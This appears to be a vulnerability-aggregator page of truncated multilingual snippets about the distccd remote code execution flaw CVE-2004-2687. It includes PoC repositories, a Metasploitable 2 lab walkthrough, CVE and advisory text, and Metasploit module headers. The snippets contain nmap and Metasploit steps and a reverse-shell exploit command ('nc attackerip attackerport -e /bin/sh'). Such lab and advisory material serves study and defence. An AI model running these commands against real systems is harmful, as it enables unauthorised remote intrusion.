distccd_rce_CVE-2004-2687

distccdrceCVE-2004-2687 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2004-2687 ️⃣ 升级到Python3 概述 该仓库包含针对 distccd 漏洞（标识为 CVE-2004-2687）的概念验证 PoC 利用程序。该漏洞存在于 distccd 守护进程中，该进程是 distcc 分布式 C/C++ 编译系统的一部分。当配置不当时，distccd 允许远程攻击者无需任何身份验证即可在服务器上执行任意命令。 漏洞详情 distcc 旨在将编译任务分布到多台机器上，以加速构建过程。然而，如果 distccd 守护进程未得到适当保护，它会暴露远程代码执行...

Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687

🎬 这个 YouTube 视频 1️⃣ 目标识别（Nmap） root@kitploit: nmap -sV -p 3632 192.168.56.102 ✅ 结果如下： 3632/tcp open distccd v1 👉 所以 distcc 是开放的并且可被利用。 2️⃣ 启动 Metasploit root@kitploit: msfconsole 3️⃣ 选择 Distcc 漏洞利用 root@kitploit: use exploit/unix/misc/distccexec 4️⃣ 检查设置 root@kitploit: show options...

distccd_rce_CVE-2004-2687

El objetivo de este script no es usar Metasploit, sino hacerlo manualmente. Uso: root@kitploit: nc -lvnp 4466 Ejecutando el exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CyberSecurity-Pentest-Lab

Distcc 3.2.1 — Remote Code Execution CVE-2004-2687 Laboratorio de penetration testing: identificación, explotación y remediación de una vulnerabilidad RCE sin autenticación en Distcc 3.2.1, realizado contra Metasploitable 2 en un entorno de laboratorio aislado Kali Linux como atacante. Ejercicio...

VulnLinux-Exploitation

Lab 01: Vulnerable Linux Reconnaissance + Enumeration + Remote...

Fedora 29 : distcc (2019-dfef0af227)

Restrict default configuration to localhost. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. C...

DistCC Daemon - Command Execution

No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...

CVE-2004-2687

CVE-2004-2687 concerns distcc (distccd) where, if the server port is not access-restricted, remote attackers can execute arbitrary commands via compilation jobs. The core issue is lack of authorization checks in the distccd daemon when handling distributed compilation requests. Affected scope app...

CVE-2004-2687

distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks...

DistCC Daemon Command Execution

This module uses a documented security weakness to execute arbitrary commands on any system running distccd. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'DistCC Daemon Command Execution',...

DistCC Daemon - Command Execution (Metasploit)

DistCC Daemon - Command Execution Metasploit $Id: distccexec.rb 9669 2010-07-03 03:13:45Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and term...

DistCC Daemon Command Execution

No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...

DistCC Daemon - Command Execution (Metasploit)

$Id: distccexec.rb 9669 2010-07-03 03:13:45Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...